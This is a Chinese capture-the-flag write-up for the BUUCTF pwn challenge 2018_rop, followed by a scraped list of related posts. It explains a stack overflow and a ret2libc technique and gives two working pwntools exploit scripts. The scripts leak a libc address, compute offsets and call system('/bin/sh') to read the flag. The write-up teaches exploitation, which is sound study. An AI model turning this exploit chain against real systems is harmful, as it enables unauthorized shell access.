【BUUCTFPWN】铁人三项(第五赛区)_2018_rop
先用checksec检查一下,只开了NX,能用栈溢出。
IDA反编译一下,里面也很简单,就调用了一个be_nice_to_people
和vulnerable_function
两个函数。
一次查看一下,be_nice_to_people
里面调用了getegid
库函数,
vulnerable_function
函数里顶一个了个136字节的栈空间,但是read
函数可以输入256个字节,可以栈溢出。
看一看真个文件的函数表,和字符串表,没有找到system
之类的函数,也没有/bin/sh
之类的字符串。有很长的栈溢出空间,可以使用ret2libc解决这道题。
ret2libc题的精髓在于我们要找到将某一个函数的got表进行输出,一定要用到一个输出函数,第一次rop链的输出围绕着构造输出函数的寄存器设置、栈内容设置展开。拿到got表的输出后,然后是找到库内可利用函数的地址,第二次的rop链围绕着获取shell展开。
此处,我们除了可以使用getegid
查找库,也可以使用read
或者write
查找库。
使用LibcSearcher解题的exploit如下:
from pwn import *
from LibcSearcher import *
context.binary = './2018_rop'
elf = context.binary
# context.log_level = 'debug'io = remote('node4.buuoj.cn',28161)getegid_got = elf.got['getegid']
getegid_plt = elf.plt['getegid']
write = elf.sym['write']
main = elf.sym['main']payload = b'a'*(0x88+4)
payload += p32(write)
payload += p32(main)
payload += p32(1)
payload += p32(getegid_got)
payload += p32(4)io.sendline(payload)
re = io.recv(4)
getegid_addr = u32(re)
print(re)
print(hex(getegid_addr))
libc = LibcSearcher('getegid',getegid_addr)
libc_base = getegid_addr - libc.dump('getegid')
system = libc_base + libc.dump('system')
bins = libc_base + libc.dump('str_bin_sh')
payload = b'a'*(0x88+4)
payload += p32(system)
payload += b'read'
payload += p32(bins)io.sendline(payload)io.sendline(b'cat flag')
io.interactive()
不知道由于什么原因,使用LibcSearcher没有跑通,出现了以下的错误:
换了一个网上找的exploit也是在这个语句有问题,之后查了查说是可能上游服务器崩溃了,具体原因不清楚。
之后是使用了手动查库然后一个个试出来的。
手动查库网址:https://libc.blukat.me/
手动查库的时候,自己第一遍先略过了后缀为64的库,结果都不对,才把剩下的都试了试,发现正确的库前面确实写着i386,以后手动查库的时候还是要准确一些,先找可能性最大的,不然真的浪费好多时间。
查库的exploit如下:
from pwn import *context.binary = './2018_rop'
elf = context.binary
# context.log_level = 'debug'io = remote('node4.buuoj.cn',28161)getegid_got = elf.got['getegid']
getegid_plt = elf.plt['getegid']
write = elf.sym['write']
main = elf.sym['main']payload = b'a'*(0x88+4)
payload += p32(write)
payload += p32(main)
payload += p32(1)
payload += p32(getegid_got)
payload += p32(4)io.sendline(payload)
re = io.recv(4)
getegid_addr = u32(re)
print(re)
print(hex(getegid_addr))
libc_base = getegid_addr - 0x0bebc0
system = libc_base + 0x03cd10
bins = libc_base + 0x17b8cf
payload = b'a' *(0×88+4) + p32(system) + p32(main) + p32(bins)io.sendline(payload)io.sendline(b'cat flag')
io.interactive()
【BUUCTFPWN】铁人三项(第五赛区)_2018_rop相关推荐
- [BUUCTF-pwn]——铁人三项(第五赛区)_2018_rop
[BUUCTF-pwn]--铁人三项(第五赛区)_2018_rop 题目地址: https://buuoj.cn/challenges#铁人三项(第五赛区)_2018_rop 思路:没有sytem函数 ...
- [BUUOJ]铁人三项(第五赛区)_2018_rop
铁人三项(第五赛区)_2018_rop checksec看到保护全关,进IDA分析就是很简单的一串逻辑,在第二个函数处看到了明显的溢出,但是题目里面没有直接提供shell相关操作,所以判断本题为ret ...
- BUUCTF 刷题 铁人三项(第五赛区)_2018_rop
BUUCTF在线评测 直接ret2libc,很简单,但是write函数有三个参数要填充 exp: from pwn import * from LibcSearcher import *context ...
- BUUCTF(pwn)铁人三项(第五赛区)_2018_rop
最基本的 rop; from pwn import* from LibcSearcher import* r=remote('node3.buuoj.cn',25292) elf=ELF('./2') ...
- BUUCTF 铁人三项(第五赛区)_2018_rop
完全可以使用同一个脚本,只需要进行略微修改 比如修改IP 端口 以及查找Libc的模块 BUUCTF jarvisoj_level3_Red-Leaves的博客-CSDN博客
- “铁人三项”运营、技术、资本无短板,BW期货交易平台要逆天爆发?
前段时间"交易即挖矿"的交易所大乱战,算是给币圈所有人都上了生动的一课:追热点的交易平台是如何快速"倒闭"的. 有网友统计,能数得上号的"倒闭&quo ...
- 信息安全 数据赛 铁人三项_信息安全铁人三项赛-赛事章程-信息安全铁人三项赛...
赛事章程 竞赛总则 为贯彻<国务院关于大力推进大众创业万众创新若干政策措施的意见><国务院办公厅关于深化高等学校创新创业教育改革的实施意见>,落实中央网信办.国家发改委.教育部 ...
- 2018信息安全铁人三项第三赛区数据赛题解
题目链接: https://pan.baidu.com/s/1b6bkW-J8vKASr8C2r9vsdQ 密码: nux4 题目描述 1.黑客攻击的第一个受害主机的网卡IP地址 2.黑客对URL的哪 ...
- 信息安全 数据赛 铁人三项_2018信息安全铁人三项数据赛题解
前言 由于自己赛区的铁三比赛在最后一场,于是利用闲暇时间做了一下别的赛区的题目,这里给出5月5号比赛的数据赛做题记录 题目分享: 链接: https://pan.baidu.com/s/1b6bkW- ...
最新文章
- python自动化教程_Python自动化开发实战视频课程-全新基础篇_Python教程
- 如何看电脑安装了python-Python教程第1篇:查看电脑是否安装python
- 【天池赛事】零基础入门语义分割-地表建筑物识别 Task6:分割模型模型集成
- 电脑启动后黑屏只有鼠标_电脑加装固态硬盘后出现黑屏或蓝屏解决方案
- [蓝桥杯][2013年第四届真题]危险系数-dfs+图的遍历
- C++primer第十一章 关联容器 11.3关联容器操作 11.4 无序容器
- NeurIPS 2021 Spotlight | PCAN: 高效时序建模, 提升多目标追踪与分割性能
- PHP key() 函数
- idea 热部署时 tomcat处 没有update classes and resource 选项
- 解决问题--Maven,IDEA项目External Libraries下只有jdk没有maven依赖
- 小程序菜鸟的父子组件传值、父子组件方法调用的学习
- h5项目打包为app
- 国家级计算机实验教学师范中心,国家级实验教学示范中心
- Qt|表格代理的实现及使用代码qtableview和qtablewidget均适用
- 修改服务器域名解析,总结修改Godaddy解析服务器(DNS)三步骤
- PROFINET 链路简述
- 如何在unity上放置3d图片
- 力扣88 - 合并两个有序数组【归并排序思维】
- windows xp 系统CMD命令大全
- 给我一面国旗@微信官方什么梗 怎么给微信头像戴上国旗